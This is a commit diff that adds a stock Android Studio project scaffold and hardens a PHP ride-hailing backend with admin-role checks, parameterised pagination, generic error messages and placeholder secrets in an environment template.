android_bot/app/src/main/res/mipmap-xhdpi/ic_launcher_round.webp
Normal file
|
After Width: | Height: | Size: 3.8 KiB |
BIN
android_bot/app/src/main/res/mipmap-xxhdpi/ic_launcher.webp
Normal file
|
After Width: | Height: | Size: 2.8 KiB |
|
After Width: | Height: | Size: 5.8 KiB |
BIN
android_bot/app/src/main/res/mipmap-xxxhdpi/ic_launcher.webp
Normal file
|
After Width: | Height: | Size: 3.8 KiB |
|
After Width: | Height: | Size: 7.6 KiB |
10
android_bot/app/src/main/res/values/colors.xml
Normal file
@@ -0,0 +1,10 @@
|
|||||||
|
<?xml version="1.0" encoding="utf-8"?>
|
||||||
|
<resources>
|
||||||
|
<color name="purple_200">#FFBB86FC</color>
|
||||||
|
<color name="purple_500">#FF6200EE</color>
|
||||||
|
<color name="purple_700">#FF3700B3</color>
|
||||||
|
<color name="teal_200">#FF03DAC5</color>
|
||||||
|
<color name="teal_700">#FF018786</color>
|
||||||
|
<color name="black">#FF000000</color>
|
||||||
|
<color name="white">#FFFFFFFF</color>
|
||||||
|
</resources>
|
||||||
3
android_bot/app/src/main/res/values/strings.xml
Normal file
@@ -0,0 +1,3 @@
|
|||||||
|
<resources>
|
||||||
|
<string name="app_name">android_bot</string>
|
||||||
|
</resources>
|
||||||
5
android_bot/app/src/main/res/values/themes.xml
Normal file
@@ -0,0 +1,5 @@
|
|||||||
|
<?xml version="1.0" encoding="utf-8"?>
|
||||||
|
<resources>
|
||||||
|
|
||||||
|
<style name="Theme.Android_bot" parent="android:Theme.Material.Light.NoActionBar" />
|
||||||
|
</resources>
|
||||||
13
android_bot/app/src/main/res/xml/backup_rules.xml
Normal file
@@ -0,0 +1,13 @@
|
|||||||
|
<?xml version="1.0" encoding="utf-8"?><!--
|
||||||
|
Sample backup rules file; uncomment and customize as necessary.
|
||||||
|
See https://developer.android.com/guide/topics/data/autobackup
|
||||||
|
for details.
|
||||||
|
Note: This file is ignored for devices older than API 31
|
||||||
|
See https://developer.android.com/about/versions/12/backup-restore
|
||||||
|
-->
|
||||||
|
<full-backup-content>
|
||||||
|
<!--
|
||||||
|
<include domain="sharedpref" path="."/>
|
||||||
|
<exclude domain="sharedpref" path="device.xml"/>
|
||||||
|
-->
|
||||||
|
</full-backup-content>
|
||||||
19
android_bot/app/src/main/res/xml/data_extraction_rules.xml
Normal file
@@ -0,0 +1,19 @@
|
|||||||
|
<?xml version="1.0" encoding="utf-8"?><!--
|
||||||
|
Sample data extraction rules file; uncomment and customize as necessary.
|
||||||
|
See https://developer.android.com/about/versions/12/backup-restore#xml-changes
|
||||||
|
for details.
|
||||||
|
-->
|
||||||
|
<data-extraction-rules>
|
||||||
|
<cloud-backup>
|
||||||
|
<!-- TODO: Use <include> and <exclude> to control what is backed up.
|
||||||
|
<include .../>
|
||||||
|
<exclude .../>
|
||||||
|
-->
|
||||||
|
</cloud-backup>
|
||||||
|
<!--
|
||||||
|
<device-transfer>
|
||||||
|
<include .../>
|
||||||
|
<exclude .../>
|
||||||
|
</device-transfer>
|
||||||
|
-->
|
||||||
|
</data-extraction-rules>
|
||||||
@@ -0,0 +1,17 @@
|
|||||||
|
package com.siro.android_bot
|
||||||
|
|
||||||
|
import org.junit.Test
|
||||||
|
|
||||||
|
import org.junit.Assert.*
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Example local unit test, which will execute on the development machine (host).
|
||||||
|
*
|
||||||
|
* See [testing documentation](http://d.android.com/tools/testing).
|
||||||
|
*/
|
||||||
|
class ExampleUnitTest {
|
||||||
|
@Test
|
||||||
|
fun addition_isCorrect() {
|
||||||
|
assertEquals(4, 2 + 2)
|
||||||
|
}
|
||||||
|
}
|
||||||
6
android_bot/build.gradle.kts
Normal file
@@ -0,0 +1,6 @@
|
|||||||
|
// Top-level build file where you can add configuration options common to all sub-projects/modules.
|
||||||
|
plugins {
|
||||||
|
alias(libs.plugins.android.application) apply false
|
||||||
|
alias(libs.plugins.kotlin.android) apply false
|
||||||
|
alias(libs.plugins.kotlin.compose) apply false
|
||||||
|
}
|
||||||
23
android_bot/gradle.properties
Normal file
@@ -0,0 +1,23 @@
|
|||||||
|
# Project-wide Gradle settings.
|
||||||
|
# IDE (e.g. Android Studio) users:
|
||||||
|
# Gradle settings configured through the IDE *will override*
|
||||||
|
# any settings specified in this file.
|
||||||
|
# For more details on how to configure your build environment visit
|
||||||
|
# http://www.gradle.org/docs/current/userguide/build_environment.html
|
||||||
|
# Specifies the JVM arguments used for the daemon process.
|
||||||
|
# The setting is particularly useful for tweaking memory settings.
|
||||||
|
org.gradle.jvmargs=-Xmx2048m -Dfile.encoding=UTF-8
|
||||||
|
# When configured, Gradle will run in incubating parallel mode.
|
||||||
|
# This option should only be used with decoupled projects. For more details, visit
|
||||||
|
# https://developer.android.com/r/tools/gradle-multi-project-decoupled-projects
|
||||||
|
# org.gradle.parallel=true
|
||||||
|
# AndroidX package structure to make it clearer which packages are bundled with the
|
||||||
|
# Android operating system, and which are packaged with your app's APK
|
||||||
|
# https://developer.android.com/topic/libraries/support-library/androidx-rn
|
||||||
|
android.useAndroidX=true
|
||||||
|
# Kotlin code style for this project: "official" or "obsolete":
|
||||||
|
kotlin.code.style=official
|
||||||
|
# Enables namespacing of each library's R class so that its R class includes only the
|
||||||
|
# resources declared in the library itself and none from the library's dependencies,
|
||||||
|
# thereby reducing the size of the R class for that library
|
||||||
|
android.nonTransitiveRClass=true
|
||||||
32
android_bot/gradle/libs.versions.toml
Normal file
@@ -0,0 +1,32 @@
|
|||||||
|
[versions]
|
||||||
|
agp = "8.13.2"
|
||||||
|
kotlin = "2.0.21"
|
||||||
|
coreKtx = "1.18.0"
|
||||||
|
junit = "4.13.2"
|
||||||
|
junitVersion = "1.3.0"
|
||||||
|
espressoCore = "3.7.0"
|
||||||
|
lifecycleRuntimeKtx = "2.10.0"
|
||||||
|
activityCompose = "1.8.0"
|
||||||
|
composeBom = "2024.09.00"
|
||||||
|
|
||||||
|
[libraries]
|
||||||
|
androidx-core-ktx = { group = "androidx.core", name = "core-ktx", version.ref = "coreKtx" }
|
||||||
|
junit = { group = "junit", name = "junit", version.ref = "junit" }
|
||||||
|
androidx-junit = { group = "androidx.test.ext", name = "junit", version.ref = "junitVersion" }
|
||||||
|
androidx-espresso-core = { group = "androidx.test.espresso", name = "espresso-core", version.ref = "espressoCore" }
|
||||||
|
androidx-lifecycle-runtime-ktx = { group = "androidx.lifecycle", name = "lifecycle-runtime-ktx", version.ref = "lifecycleRuntimeKtx" }
|
||||||
|
androidx-activity-compose = { group = "androidx.activity", name = "activity-compose", version.ref = "activityCompose" }
|
||||||
|
androidx-compose-bom = { group = "androidx.compose", name = "compose-bom", version.ref = "composeBom" }
|
||||||
|
androidx-compose-ui = { group = "androidx.compose.ui", name = "ui" }
|
||||||
|
androidx-compose-ui-graphics = { group = "androidx.compose.ui", name = "ui-graphics" }
|
||||||
|
androidx-compose-ui-tooling = { group = "androidx.compose.ui", name = "ui-tooling" }
|
||||||
|
androidx-compose-ui-tooling-preview = { group = "androidx.compose.ui", name = "ui-tooling-preview" }
|
||||||
|
androidx-compose-ui-test-manifest = { group = "androidx.compose.ui", name = "ui-test-manifest" }
|
||||||
|
androidx-compose-ui-test-junit4 = { group = "androidx.compose.ui", name = "ui-test-junit4" }
|
||||||
|
androidx-compose-material3 = { group = "androidx.compose.material3", name = "material3" }
|
||||||
|
|
||||||
|
[plugins]
|
||||||
|
android-application = { id = "com.android.application", version.ref = "agp" }
|
||||||
|
kotlin-android = { id = "org.jetbrains.kotlin.android", version.ref = "kotlin" }
|
||||||
|
kotlin-compose = { id = "org.jetbrains.kotlin.plugin.compose", version.ref = "kotlin" }
|
||||||
|
|
||||||
BIN
android_bot/gradle/wrapper/gradle-wrapper.jar
vendored
Normal file
6
android_bot/gradle/wrapper/gradle-wrapper.properties
vendored
Normal file
@@ -0,0 +1,6 @@
|
|||||||
|
#Sun Jun 21 02:56:41 EET 2026
|
||||||
|
distributionBase=GRADLE_USER_HOME
|
||||||
|
distributionPath=wrapper/dists
|
||||||
|
distributionUrl=https\://services.gradle.org/distributions/gradle-8.13-bin.zip
|
||||||
|
zipStoreBase=GRADLE_USER_HOME
|
||||||
|
zipStorePath=wrapper/dists
|
||||||
185
android_bot/gradlew
vendored
Executable file
@@ -0,0 +1,185 @@
|
|||||||
|
#!/usr/bin/env sh
|
||||||
|
|
||||||
|
#
|
||||||
|
# Copyright 2015 the original author or authors.
|
||||||
|
#
|
||||||
|
# Licensed under the Apache License, Version 2.0 (the "License");
|
||||||
|
# you may not use this file except in compliance with the License.
|
||||||
|
# You may obtain a copy of the License at
|
||||||
|
#
|
||||||
|
# https://www.apache.org/licenses/LICENSE-2.0
|
||||||
|
#
|
||||||
|
# Unless required by applicable law or agreed to in writing, software
|
||||||
|
# distributed under the License is distributed on an "AS IS" BASIS,
|
||||||
|
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||||
|
# See the License for the specific language governing permissions and
|
||||||
|
# limitations under the License.
|
||||||
|
#
|
||||||
|
|
||||||
|
##############################################################################
|
||||||
|
##
|
||||||
|
## Gradle start up script for UN*X
|
||||||
|
##
|
||||||
|
##############################################################################
|
||||||
|
|
||||||
|
# Attempt to set APP_HOME
|
||||||
|
# Resolve links: $0 may be a link
|
||||||
|
PRG="$0"
|
||||||
|
# Need this for relative symlinks.
|
||||||
|
while [ -h "$PRG" ] ; do
|
||||||
|
ls=`ls -ld "$PRG"`
|
||||||
|
link=`expr "$ls" : '.*-> \(.*\)$'`
|
||||||
|
if expr "$link" : '/.*' > /dev/null; then
|
||||||
|
PRG="$link"
|
||||||
|
else
|
||||||
|
PRG=`dirname "$PRG"`"/$link"
|
||||||
|
fi
|
||||||
|
done
|
||||||
|
SAVED="`pwd`"
|
||||||
|
cd "`dirname \"$PRG\"`/" >/dev/null
|
||||||
|
APP_HOME="`pwd -P`"
|
||||||
|
cd "$SAVED" >/dev/null
|
||||||
|
|
||||||
|
APP_NAME="Gradle"
|
||||||
|
APP_BASE_NAME=`basename "$0"`
|
||||||
|
|
||||||
|
# Add default JVM options here. You can also use JAVA_OPTS and GRADLE_OPTS to pass JVM options to this script.
|
||||||
|
DEFAULT_JVM_OPTS='"-Xmx64m" "-Xms64m"'
|
||||||
|
|
||||||
|
# Use the maximum available, or set MAX_FD != -1 to use that value.
|
||||||
|
MAX_FD="maximum"
|
||||||
|
|
||||||
|
warn () {
|
||||||
|
echo "$*"
|
||||||
|
}
|
||||||
|
|
||||||
|
die () {
|
||||||
|
echo
|
||||||
|
echo "$*"
|
||||||
|
echo
|
||||||
|
exit 1
|
||||||
|
}
|
||||||
|
|
||||||
|
# OS specific support (must be 'true' or 'false').
|
||||||
|
cygwin=false
|
||||||
|
msys=false
|
||||||
|
darwin=false
|
||||||
|
nonstop=false
|
||||||
|
case "`uname`" in
|
||||||
|
CYGWIN* )
|
||||||
|
cygwin=true
|
||||||
|
;;
|
||||||
|
Darwin* )
|
||||||
|
darwin=true
|
||||||
|
;;
|
||||||
|
MINGW* )
|
||||||
|
msys=true
|
||||||
|
;;
|
||||||
|
NONSTOP* )
|
||||||
|
nonstop=true
|
||||||
|
;;
|
||||||
|
esac
|
||||||
|
|
||||||
|
CLASSPATH=$APP_HOME/gradle/wrapper/gradle-wrapper.jar
|
||||||
|
|
||||||
|
|
||||||
|
# Determine the Java command to use to start the JVM.
|
||||||
|
if [ -n "$JAVA_HOME" ] ; then
|
||||||
|
if [ -x "$JAVA_HOME/jre/sh/java" ] ; then
|
||||||
|
# IBM's JDK on AIX uses strange locations for the executables
|
||||||
|
JAVACMD="$JAVA_HOME/jre/sh/java"
|
||||||
|
else
|
||||||
|
JAVACMD="$JAVA_HOME/bin/java"
|
||||||
|
fi
|
||||||
|
if [ ! -x "$JAVACMD" ] ; then
|
||||||
|
die "ERROR: JAVA_HOME is set to an invalid directory: $JAVA_HOME
|
||||||
|
|
||||||
|
Please set the JAVA_HOME variable in your environment to match the
|
||||||
|
location of your Java installation."
|
||||||
|
fi
|
||||||
|
else
|
||||||
|
JAVACMD="java"
|
||||||
|
which java >/dev/null 2>&1 || die "ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH.
|
||||||
|
|
||||||
|
Please set the JAVA_HOME variable in your environment to match the
|
||||||
|
location of your Java installation."
|
||||||
|
fi
|
||||||
|
|
||||||
|
# Increase the maximum file descriptors if we can.
|
||||||
|
if [ "$cygwin" = "false" -a "$darwin" = "false" -a "$nonstop" = "false" ] ; then
|
||||||
|
MAX_FD_LIMIT=`ulimit -H -n`
|
||||||
|
if [ $? -eq 0 ] ; then
|
||||||
|
if [ "$MAX_FD" = "maximum" -o "$MAX_FD" = "max" ] ; then
|
||||||
|
MAX_FD="$MAX_FD_LIMIT"
|
||||||
|
fi
|
||||||
|
ulimit -n $MAX_FD
|
||||||
|
if [ $? -ne 0 ] ; then
|
||||||
|
warn "Could not set maximum file descriptor limit: $MAX_FD"
|
||||||
|
fi
|
||||||
|
else
|
||||||
|
warn "Could not query maximum file descriptor limit: $MAX_FD_LIMIT"
|
||||||
|
fi
|
||||||
|
fi
|
||||||
|
|
||||||
|
# For Darwin, add options to specify how the application appears in the dock
|
||||||
|
if $darwin; then
|
||||||
|
GRADLE_OPTS="$GRADLE_OPTS \"-Xdock:name=$APP_NAME\" \"-Xdock:icon=$APP_HOME/media/gradle.icns\""
|
||||||
|
fi
|
||||||
|
|
||||||
|
# For Cygwin or MSYS, switch paths to Windows format before running java
|
||||||
|
if [ "$cygwin" = "true" -o "$msys" = "true" ] ; then
|
||||||
|
APP_HOME=`cygpath --path --mixed "$APP_HOME"`
|
||||||
|
CLASSPATH=`cygpath --path --mixed "$CLASSPATH"`
|
||||||
|
|
||||||
|
JAVACMD=`cygpath --unix "$JAVACMD"`
|
||||||
|
|
||||||
|
# We build the pattern for arguments to be converted via cygpath
|
||||||
|
ROOTDIRSRAW=`find -L / -maxdepth 1 -mindepth 1 -type d 2>/dev/null`
|
||||||
|
SEP=""
|
||||||
|
for dir in $ROOTDIRSRAW ; do
|
||||||
|
ROOTDIRS="$ROOTDIRS$SEP$dir"
|
||||||
|
SEP="|"
|
||||||
|
done
|
||||||
|
OURCYGPATTERN="(^($ROOTDIRS))"
|
||||||
|
# Add a user-defined pattern to the cygpath arguments
|
||||||
|
if [ "$GRADLE_CYGPATTERN" != "" ] ; then
|
||||||
|
OURCYGPATTERN="$OURCYGPATTERN|($GRADLE_CYGPATTERN)"
|
||||||
|
fi
|
||||||
|
# Now convert the arguments - kludge to limit ourselves to /bin/sh
|
||||||
|
i=0
|
||||||
|
for arg in "$@" ; do
|
||||||
|
CHECK=`echo "$arg"|egrep -c "$OURCYGPATTERN" -`
|
||||||
|
CHECK2=`echo "$arg"|egrep -c "^-"` ### Determine if an option
|
||||||
|
|
||||||
|
if [ $CHECK -ne 0 ] && [ $CHECK2 -eq 0 ] ; then ### Added a condition
|
||||||
|
eval `echo args$i`=`cygpath --path --ignore --mixed "$arg"`
|
||||||
|
else
|
||||||
|
eval `echo args$i`="\"$arg\""
|
||||||
|
fi
|
||||||
|
i=`expr $i + 1`
|
||||||
|
done
|
||||||
|
case $i in
|
||||||
|
0) set -- ;;
|
||||||
|
1) set -- "$args0" ;;
|
||||||
|
2) set -- "$args0" "$args1" ;;
|
||||||
|
3) set -- "$args0" "$args1" "$args2" ;;
|
||||||
|
4) set -- "$args0" "$args1" "$args2" "$args3" ;;
|
||||||
|
5) set -- "$args0" "$args1" "$args2" "$args3" "$args4" ;;
|
||||||
|
6) set -- "$args0" "$args1" "$args2" "$args3" "$args4" "$args5" ;;
|
||||||
|
7) set -- "$args0" "$args1" "$args2" "$args3" "$args4" "$args5" "$args6" ;;
|
||||||
|
8) set -- "$args0" "$args1" "$args2" "$args3" "$args4" "$args5" "$args6" "$args7" ;;
|
||||||
|
9) set -- "$args0" "$args1" "$args2" "$args3" "$args4" "$args5" "$args6" "$args7" "$args8" ;;
|
||||||
|
esac
|
||||||
|
fi
|
||||||
|
|
||||||
|
# Escape application args
|
||||||
|
save () {
|
||||||
|
for i do printf %s\\n "$i" | sed "s/'/'\\\\''/g;1s/^/'/;\$s/\$/' \\\\/" ; done
|
||||||
|
echo " "
|
||||||
|
}
|
||||||
|
APP_ARGS=`save "$@"`
|
||||||
|
|
||||||
|
# Collect all arguments for the java command, following the shell quoting and substitution rules
|
||||||
|
eval set -- $DEFAULT_JVM_OPTS $JAVA_OPTS $GRADLE_OPTS "\"-Dorg.gradle.appname=$APP_BASE_NAME\"" -classpath "\"$CLASSPATH\"" org.gradle.wrapper.GradleWrapperMain "$APP_ARGS"
|
||||||
|
|
||||||
|
exec "$JAVACMD" "$@"
|
||||||
89
android_bot/gradlew.bat
vendored
Normal file
@@ -0,0 +1,89 @@
|
|||||||
|
@rem
|
||||||
|
@rem Copyright 2015 the original author or authors.
|
||||||
|
@rem
|
||||||
|
@rem Licensed under the Apache License, Version 2.0 (the "License");
|
||||||
|
@rem you may not use this file except in compliance with the License.
|
||||||
|
@rem You may obtain a copy of the License at
|
||||||
|
@rem
|
||||||
|
@rem https://www.apache.org/licenses/LICENSE-2.0
|
||||||
|
@rem
|
||||||
|
@rem Unless required by applicable law or agreed to in writing, software
|
||||||
|
@rem distributed under the License is distributed on an "AS IS" BASIS,
|
||||||
|
@rem WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||||
|
@rem See the License for the specific language governing permissions and
|
||||||
|
@rem limitations under the License.
|
||||||
|
@rem
|
||||||
|
|
||||||
|
@if "%DEBUG%" == "" @echo off
|
||||||
|
@rem ##########################################################################
|
||||||
|
@rem
|
||||||
|
@rem Gradle startup script for Windows
|
||||||
|
@rem
|
||||||
|
@rem ##########################################################################
|
||||||
|
|
||||||
|
@rem Set local scope for the variables with windows NT shell
|
||||||
|
if "%OS%"=="Windows_NT" setlocal
|
||||||
|
|
||||||
|
set DIRNAME=%~dp0
|
||||||
|
if "%DIRNAME%" == "" set DIRNAME=.
|
||||||
|
set APP_BASE_NAME=%~n0
|
||||||
|
set APP_HOME=%DIRNAME%
|
||||||
|
|
||||||
|
@rem Resolve any "." and ".." in APP_HOME to make it shorter.
|
||||||
|
for %%i in ("%APP_HOME%") do set APP_HOME=%%~fi
|
||||||
|
|
||||||
|
@rem Add default JVM options here. You can also use JAVA_OPTS and GRADLE_OPTS to pass JVM options to this script.
|
||||||
|
set DEFAULT_JVM_OPTS="-Xmx64m" "-Xms64m"
|
||||||
|
|
||||||
|
@rem Find java.exe
|
||||||
|
if defined JAVA_HOME goto findJavaFromJavaHome
|
||||||
|
|
||||||
|
set JAVA_EXE=java.exe
|
||||||
|
%JAVA_EXE% -version >NUL 2>&1
|
||||||
|
if "%ERRORLEVEL%" == "0" goto execute
|
||||||
|
|
||||||
|
echo.
|
||||||
|
echo ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH.
|
||||||
|
echo.
|
||||||
|
echo Please set the JAVA_HOME variable in your environment to match the
|
||||||
|
echo location of your Java installation.
|
||||||
|
|
||||||
|
goto fail
|
||||||
|
|
||||||
|
:findJavaFromJavaHome
|
||||||
|
set JAVA_HOME=%JAVA_HOME:"=%
|
||||||
|
set JAVA_EXE=%JAVA_HOME%/bin/java.exe
|
||||||
|
|
||||||
|
if exist "%JAVA_EXE%" goto execute
|
||||||
|
|
||||||
|
echo.
|
||||||
|
echo ERROR: JAVA_HOME is set to an invalid directory: %JAVA_HOME%
|
||||||
|
echo.
|
||||||
|
echo Please set the JAVA_HOME variable in your environment to match the
|
||||||
|
echo location of your Java installation.
|
||||||
|
|
||||||
|
goto fail
|
||||||
|
|
||||||
|
:execute
|
||||||
|
@rem Setup the command line
|
||||||
|
|
||||||
|
set CLASSPATH=%APP_HOME%\gradle\wrapper\gradle-wrapper.jar
|
||||||
|
|
||||||
|
|
||||||
|
@rem Execute Gradle
|
||||||
|
"%JAVA_EXE%" %DEFAULT_JVM_OPTS% %JAVA_OPTS% %GRADLE_OPTS% "-Dorg.gradle.appname=%APP_BASE_NAME%" -classpath "%CLASSPATH%" org.gradle.wrapper.GradleWrapperMain %*
|
||||||
|
|
||||||
|
:end
|
||||||
|
@rem End local scope for the variables with windows NT shell
|
||||||
|
if "%ERRORLEVEL%"=="0" goto mainEnd
|
||||||
|
|
||||||
|
:fail
|
||||||
|
rem Set variable GRADLE_EXIT_CONSOLE if you need the _script_ return code instead of
|
||||||
|
rem the _cmd.exe /c_ return code!
|
||||||
|
if not "" == "%GRADLE_EXIT_CONSOLE%" exit 1
|
||||||
|
exit /b 1
|
||||||
|
|
||||||
|
:mainEnd
|
||||||
|
if "%OS%"=="Windows_NT" endlocal
|
||||||
|
|
||||||
|
:omega
|
||||||
23
android_bot/settings.gradle.kts
Normal file
@@ -0,0 +1,23 @@
|
|||||||
|
pluginManagement {
|
||||||
|
repositories {
|
||||||
|
google {
|
||||||
|
content {
|
||||||
|
includeGroupByRegex("com\\.android.*")
|
||||||
|
includeGroupByRegex("com\\.google.*")
|
||||||
|
includeGroupByRegex("androidx.*")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
mavenCentral()
|
||||||
|
gradlePluginPortal()
|
||||||
|
}
|
||||||
|
}
|
||||||
|
dependencyResolutionManagement {
|
||||||
|
repositoriesMode.set(RepositoriesMode.FAIL_ON_PROJECT_REPOS)
|
||||||
|
repositories {
|
||||||
|
google()
|
||||||
|
mavenCentral()
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
rootProject.name = "android_bot"
|
||||||
|
include(":app")
|
||||||
@@ -102,6 +102,14 @@ MAIL_PASS=<CHANGE_ME_EMAIL_PASSWORD>
|
|||||||
APP_ENV=production
|
APP_ENV=production
|
||||||
APP_DEBUG=false
|
APP_DEBUG=false
|
||||||
APP_NAME=Siro
|
APP_NAME=Siro
|
||||||
|
APP_DOMAIN=api-syria.siromove.com
|
||||||
|
|
||||||
|
# =============================================================================
|
||||||
|
# Nabeh Integration (server-to-server API key)
|
||||||
|
# Must match NABEH_API_KEY in Nabeh's .env
|
||||||
|
# =============================================================================
|
||||||
|
NABEH_API_KEY=<CHANGE_ME_SHARED_SECRET>
|
||||||
|
SECRET_KEY_HMAC=<CHANGE_ME_HMAC_SECRET_FOR_SIGNED_URLS>
|
||||||
|
|
||||||
# =============================================================================
|
# =============================================================================
|
||||||
# Security Configuration - Fingerprint
|
# Security Configuration - Fingerprint
|
||||||
|
|||||||
@@ -1,6 +1,12 @@
|
|||||||
<?php
|
<?php
|
||||||
require_once __DIR__ . '/../../connect.php';
|
require_once __DIR__ . '/../../connect.php';
|
||||||
|
|
||||||
|
if ($role !== 'admin' && $role !== 'super_admin') {
|
||||||
|
http_response_code(403);
|
||||||
|
echo json_encode(['error' => 'Unauthorized: Admin access required']);
|
||||||
|
exit;
|
||||||
|
}
|
||||||
|
|
||||||
$sql = "SELECT
|
$sql = "SELECT
|
||||||
`driver`.`id`,
|
`driver`.`id`,
|
||||||
`driver`.`phone`,
|
`driver`.`phone`,
|
||||||
@@ -48,9 +54,14 @@ $sql = "SELECT
|
|||||||
) AS passengerToken
|
) AS passengerToken
|
||||||
FROM `driver`
|
FROM `driver`
|
||||||
ORDER BY passengerAverageRating DESC
|
ORDER BY passengerAverageRating DESC
|
||||||
LIMIT 10";
|
LIMIT :lim OFFSET :off";
|
||||||
|
|
||||||
$stmt = $con->prepare($sql);
|
$stmt = $con->prepare($sql);
|
||||||
|
$page = max(1, (int) filterRequest('page'));
|
||||||
|
$limit = 10;
|
||||||
|
$offset = ($page - 1) * $limit;
|
||||||
|
$stmt->bindValue(':lim', $limit, PDO::PARAM_INT);
|
||||||
|
$stmt->bindValue(':off', $offset, PDO::PARAM_INT);
|
||||||
$stmt->execute();
|
$stmt->execute();
|
||||||
$result = $stmt->fetchAll(PDO::FETCH_ASSOC);
|
$result = $stmt->fetchAll(PDO::FETCH_ASSOC);
|
||||||
|
|
||||||
@@ -67,8 +78,16 @@ foreach ($result as &$row) {
|
|||||||
$row['maritalStatus'] = $encryptionHelper->decryptData($row['maritalStatus']);
|
$row['maritalStatus'] = $encryptionHelper->decryptData($row['maritalStatus']);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
$countStmt = $con->query("SELECT COUNT(*) FROM `driver`");
|
||||||
|
$total = $countStmt->fetchColumn();
|
||||||
|
|
||||||
if (count($result) > 0) {
|
if (count($result) > 0) {
|
||||||
jsonSuccess($result);
|
jsonSuccess([
|
||||||
|
'data' => $result,
|
||||||
|
'total' => (int) $total,
|
||||||
|
'page' => $page,
|
||||||
|
'pages' => (int) ceil($total / $limit),
|
||||||
|
]);
|
||||||
} else {
|
} else {
|
||||||
jsonError("No records found");
|
jsonError("No records found");
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -1,6 +1,16 @@
|
|||||||
<?php
|
<?php
|
||||||
require_once __DIR__ . '/../../connect.php';
|
require_once __DIR__ . '/../../connect.php';
|
||||||
|
|
||||||
|
if ($role !== 'admin' && $role !== 'super_admin') {
|
||||||
|
http_response_code(403);
|
||||||
|
echo json_encode(['error' => 'Unauthorized: Admin access required']);
|
||||||
|
exit;
|
||||||
|
}
|
||||||
|
|
||||||
|
$page = max(1, (int) filterRequest('page'));
|
||||||
|
$limit = 50;
|
||||||
|
$offset = ($page - 1) * $limit;
|
||||||
|
|
||||||
$sql = "
|
$sql = "
|
||||||
SELECT
|
SELECT
|
||||||
d.phone,
|
d.phone,
|
||||||
@@ -11,13 +21,18 @@ FROM
|
|||||||
`driver` d
|
`driver` d
|
||||||
LEFT JOIN driverToken dt ON
|
LEFT JOIN driverToken dt ON
|
||||||
dt.captain_id = d.id
|
dt.captain_id = d.id
|
||||||
|
LIMIT :lim OFFSET :off
|
||||||
";
|
";
|
||||||
|
|
||||||
$stmt = $con->prepare($sql);
|
$stmt = $con->prepare($sql);
|
||||||
|
$stmt->bindValue(':lim', $limit, PDO::PARAM_INT);
|
||||||
|
$stmt->bindValue(':off', $offset, PDO::PARAM_INT);
|
||||||
$stmt->execute();
|
$stmt->execute();
|
||||||
$result = $stmt->fetchAll(PDO::FETCH_ASSOC);
|
$result = $stmt->fetchAll(PDO::FETCH_ASSOC);
|
||||||
|
|
||||||
// فك التشفير للحقول الحساسة
|
$countStmt = $con->query("SELECT COUNT(*) FROM `driver`");
|
||||||
|
$total = $countStmt->fetchColumn();
|
||||||
|
|
||||||
foreach ($result as &$row) {
|
foreach ($result as &$row) {
|
||||||
$row['phone'] = $encryptionHelper->decryptData($row['phone']);
|
$row['phone'] = $encryptionHelper->decryptData($row['phone']);
|
||||||
if (!empty($row['token'])) {
|
if (!empty($row['token'])) {
|
||||||
@@ -26,8 +41,12 @@ foreach ($result as &$row) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
if ($stmt->rowCount() > 0) {
|
if ($stmt->rowCount() > 0) {
|
||||||
jsonSuccess($result);
|
jsonSuccess([
|
||||||
|
'data' => $result,
|
||||||
|
'total' => (int) $total,
|
||||||
|
'page' => $page,
|
||||||
|
'pages' => (int) ceil($total / $limit),
|
||||||
|
]);
|
||||||
} else {
|
} else {
|
||||||
jsonError("No records found");
|
jsonError("No records found");
|
||||||
}
|
}
|
||||||
?>
|
|
||||||
@@ -49,6 +49,6 @@ try {
|
|||||||
}
|
}
|
||||||
} catch (Exception $e) {
|
} catch (Exception $e) {
|
||||||
error_log("[Staff Activate Error] " . $e->getMessage());
|
error_log("[Staff Activate Error] " . $e->getMessage());
|
||||||
jsonError("خطأ في السيرفر: " . $e->getMessage());
|
jsonError("An internal error occurred. Please try again later.");
|
||||||
}
|
}
|
||||||
exit();
|
exit();
|
||||||
|
|||||||
@@ -96,5 +96,5 @@ try {
|
|||||||
|
|
||||||
} catch (Exception $e) {
|
} catch (Exception $e) {
|
||||||
error_log("[Staff Add Error] " . $e->getMessage());
|
error_log("[Staff Add Error] " . $e->getMessage());
|
||||||
jsonError("Server error: " . $e->getMessage());
|
jsonError("An internal error occurred. Please try again later.");
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -37,6 +37,6 @@ try {
|
|||||||
|
|
||||||
} catch (Exception $e) {
|
} catch (Exception $e) {
|
||||||
error_log("[Staff Pending Error] " . $e->getMessage());
|
error_log("[Staff Pending Error] " . $e->getMessage());
|
||||||
jsonError("خطأ في السيرفر: " . $e->getMessage());
|
jsonError("An internal error occurred. Please try again later.");
|
||||||
}
|
}
|
||||||
exit();
|
exit();
|
||||||
|
|||||||
@@ -61,5 +61,5 @@ try {
|
|||||||
}
|
}
|
||||||
echo "<h1>Initialization Successful</h1>";
|
echo "<h1>Initialization Successful</h1>";
|
||||||
} catch (Exception $e) {
|
} catch (Exception $e) {
|
||||||
echo "Error: " . $e->getMessage();
|
echo "An internal error occurred";
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -40,7 +40,7 @@ try {
|
|||||||
}
|
}
|
||||||
} catch (Exception $e) {
|
} catch (Exception $e) {
|
||||||
error_log("[Admin Add Error] " . $e->getMessage());
|
error_log("[Admin Add Error] " . $e->getMessage());
|
||||||
jsonError("Database error: " . $e->getMessage());
|
jsonError("An internal error occurred. Please try again later.");
|
||||||
}
|
}
|
||||||
?>
|
?>
|
||||||
|
|
||||||
|
|||||||
@@ -1,7 +1,7 @@
|
|||||||
<?php
|
<?php
|
||||||
|
|
||||||
// عرض كافة الأخطاء
|
// عرض كافة الأخطاء
|
||||||
ini_set('display_errors', 1);
|
ini_set('display_errors', 0);
|
||||||
ini_set('display_startup_errors', 1);
|
ini_set('display_startup_errors', 1);
|
||||||
error_reporting(E_ALL);
|
error_reporting(E_ALL);
|
||||||
|
|
||||||
@@ -83,6 +83,6 @@ try {
